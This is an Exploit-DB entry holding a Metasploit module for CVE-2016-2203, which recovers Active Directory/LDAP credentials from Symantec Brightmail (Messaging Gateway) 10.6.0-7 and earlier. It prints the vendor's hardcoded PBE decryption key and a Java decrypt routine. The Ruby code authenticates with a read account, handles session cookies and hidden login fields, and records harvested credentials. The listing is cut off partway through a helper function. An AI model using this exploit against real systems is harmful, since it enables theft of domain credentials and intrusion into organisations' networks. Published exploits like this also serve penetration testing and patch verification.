Exploit-DB #39715
Description: Symantec Brightmail 10.6.0-7 - LDAP Credentials Disclosure (Metasploit)
Type: webapps
Platform: java
Date: 2016-04-21
Author: Fakhir Karim Reda

Exploit:
# Exploit Title: Symantec Brightmail ldap credential Grabber 
# Date: 18/04/2016
# Exploit Author: Fakhir Karim Reda
# Vendor Homepage: https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year&suid=20160418_00
# Version: 10.6.0-7 and earlier
# Tested on: Linux, Unox Windows 
# CVE : CVE-2016-2203


#Symantec Brightmail 10.6.0-7 and earlier save the AD password somewhere in the product. By having a read account on the gateway  we can recover the AD #ACOUNT/PASSWORD  

#indeed the html code contains the encrypted AD password.

#the encryption and decryption part is implemented in Java in the appliance, by reversing the code we get to know the encryption algorithm:

#public static String decrypt(String password)
#{
#byte clearText[];
#try{
#PBEKeySpec keySpec = new PBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"{}`~!@#$%^&*()_+-=".toCharArray());
#SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
#SecretKey secretKey = keyFactory.generateSecret(keySpec);
#System.out.println("Encoded key "+ (new String(secretKey.getEncoded())));


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require "base64"
require 'digest'
require "openssl"


class MetasploitModule < Msf::Auxiliary

  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Symantec Messaging Gateway 10 LDAP Creds Graber',
      'Description'    => %q{
          This module will  grab the AD account saved in Symantec Messaging Gateway and then decipher it using the disclosed symantec pbe key.  Note that authentication is required in order to successfully grab the LDAP credentials, you need at least a read account. Version 10.6.0-7 and earlier are affected

      },
      'References'     =>
        [
          ['URL','https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00'],
          ['CVE','2016-2203'],
          ['BID','86137']
        ],

      'Author'         =>
        [
          'Fakhir Karim Reda <karim.fakhir[at]gmail.com>'
        ],
       'DefaultOptions' =>
        {
          'SSL' => true,
          'SSLVersion' => 'TLS1',
          'RPORT' => 443
        },
       'License'        => MSF_LICENSE,
       'DisclosureDate' => "Dec 17 2015"
    ))
    register_options(
      [
        OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in seconds', 1]),
        Opt::RPORT(443),
        OptString.new('USERNAME', [true, 'The username to login as']),
        OptString.new('PASSWORD', [true, 'The password to login with'])
      ], self.class)
    deregister_options('RHOST')
  end


  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def report_cred(opts)
   service_data = {
    address: opts[:ip],
    port: opts[:port],
    service_name: 'LDAP',
    protocol: 'tcp',
    workspace_id: myworkspace_id
   }
   credential_data = {
    origin_type: :service,
    module_fullname: fullname,
    username: opts[:user],
    private_data: opts[:password],
    private_type: :password
   }.merge(service_data)
   login_data = {
    last_attempted_at: DateTime.now,
    core: create_credential(credential_data),
    status: Metasploit::Model::Login::Status::SUCCESSFUL,
    proof: opts[:proof]
   }.merge(service_data)

   create_credential_login(login_data)
  end

  def auth(username, password, sid, last_login)
    # Real JSESSIONID  cookie
    sid2 = ''
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => '/brightmail/login.do',
      'headers'   => {
        'Referer' => "https://#{peer}/brightmail/viewLogin.do",
        'Connection' => 'keep-alive'
      },
      'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
      'vars_post' => {
        'lastlogin'  => last_login,
        'userLocale' => '',
        'lang'       => 'en_US',
        'username'   => username,
        'password'   => password,
        'loginBtn'   => 'Login'
      }
    })
   if res.body =~ /Logged in/
      sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
      return sid2
   end
   if res and res.headers['Location']
     mlocation = res.headers['Location']
     new_uri = res.headers['Location'].scan(/^http:\/\/[\d\.]+:\d+(\/.+)/).flatten[0]
     res = send_request_cgi({
        'uri'    => new_uri,
        'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}"
     })
     sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
     return sid2  if res and res.body =~ /Logged in/
   end
   return false
  end

  def get_login_data
    sid        = ''  #From cookie
    last_login = ''  #A hidden field in the login page
    res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'})
    if res and !res.get_cookies.empty?
      sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
    end
    if res
      last_login = res.body.scan(/<input type="hidden" name="lastlogin" value="(.+)"\/>/).flatten[0] || ''
    end
    return sid, last_login
  end

  # Returns the status of the listening port.
  #
  # @return [Boolean] TrueClass if port open, otherwise FalseClass.

  def port_open?
    begin
      res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT'])
      return true if res
    rescue ::Rex::ConnectionRefused
      print_status("#{peer} - Connection refused")
      r